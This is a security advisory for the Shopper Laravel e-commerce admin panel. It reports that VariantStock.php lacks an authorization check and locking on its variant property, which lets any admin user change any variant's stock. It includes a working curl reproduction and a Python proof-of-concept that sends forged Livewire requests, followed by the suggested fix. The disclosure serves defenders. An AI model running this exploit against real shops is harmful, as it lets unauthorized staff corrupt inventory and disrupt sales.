Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H상세 설명
Title
Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
Description
A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
1// Line 34 - unprotected, client-mutable variant binding 2public $variant; 3 4// Lines 36-91 - no ->authorize(...) on the Action 5public function stockAction(): Action 6{ 7 return Action::make('stock') 8 ->label(__('shopper::forms.actions.update')) 9 ->color('gray')10 ->icon(Untitledui::Package)11 ->modalHeading(__('shopper::pages/products.modals.variants.title'))12 ->modalWidth(Width::Large)13 ->schema([14 Select::make('inventory')15 ->label(__('shopper::pages/products.inventory_name'))16 ->options(Inventory::query()->pluck('name', 'id'))17 ->native(false)18 ->required(),19 TextInput::make('quantity')20 ->label(__('shopper::forms.label.quantity'))21 ->placeholder('-10 or -5 or 50, etc')22 ->numeric()23 ->required(),24 ])25 ->action(function (array $data): void {26 // ...calls $this->variant->mutateStock(...) or decreaseStock(...)27 // with no permission check anywhere in this path28 });29}Steps to reproduce
Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.
1# Step 1: Log in and obtain a session cookie and Livewire CSRF token. 2# Obtain them from a normal browser login, then use them below. 3 4SESSION="laravel_session=<your_session_value>" 5XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" 6 7# Step 2: Load the product variant page for any variant ID (e.g., 1). 8# Capture the Livewire snapshot from the page source. 9 10# Step 3: Call the stock action on an arbitrary variant.11# The wire payload sets "component.variant" to any variant ID in the database.12 13curl -s -X POST http://localhost/shopper/livewire/update \14 -H "Content-Type: application/json" \15 -H "$XSRF" \16 -H "Cookie: $SESSION" \17 -d '{18 "components": [{19 "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",20 "updates": {},21 "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]22 }]23 }'24# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.Proof of concept
1#!/usr/bin/env python3 2""" 3VariantStock authorization bypass PoC. 4 5Set these environment variables before running: 6 BASE_URL e.g. http://localhost 7 SESSION_COOKIE value of the laravel_session cookie 8 XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie 9 COMPONENT_ID Livewire component snapshot ID (from page source)10 VARIANT_ID integer ID of any target variant11 INVENTORY_ID integer ID of the target inventory location12 QUANTITY integer quantity adjustment (positive or negative)13"""14 15import json16import os17import requests18 19base_url = os.environ['BASE_URL']20session = os.environ['SESSION_COOKIE']21xsrf = os.environ['XSRF_TOKEN']22component_id = os.environ['COMPONENT_ID']23variant_id = int(os.environ['VARIANT_ID'])24inventory_id = int(os.environ['INVENTORY_ID'])25quantity = int(os.environ['QUANTITY'])26 27headers = {28 'Content-Type': 'application/json',29 'Accept': 'text/html, application/xhtml+xml',30 'X-XSRF-TOKEN': xsrf,31 'Cookie': f'laravel_session={session}',32 'X-Livewire': '1',33}34 35snapshot = json.dumps({36 'id': component_id,37 'data': {'variant': variant_id},38 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',39})40 41payload = {42 'components': [{43 'snapshot': snapshot,44 'updates': {},45 'calls': [{46 'path': '',47 'method': 'callAction',48 'params': ['stock', {49 'inventory': inventory_id,50 'quantity': quantity,51 }]52 }]53 }]54}55 56r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)57print(f'Status: {r.status_code}')58print(r.text[:500])Impact
Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.
Suggested fix
1// packages/admin/src/Livewire/Components/Products/VariantStock.php 2 3use Livewire\Attributes\Locked; 4 5#[Locked] // prevent client-side ID substitution 6public $variant; 7 8public function stockAction(): Action 9{10 return Action::make('stock')11 ->authorize('edit_product_variants') // add this12 // ... rest of the actionCredits
Reported by Vishal Shukla (@shukla304 / @therawdev).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.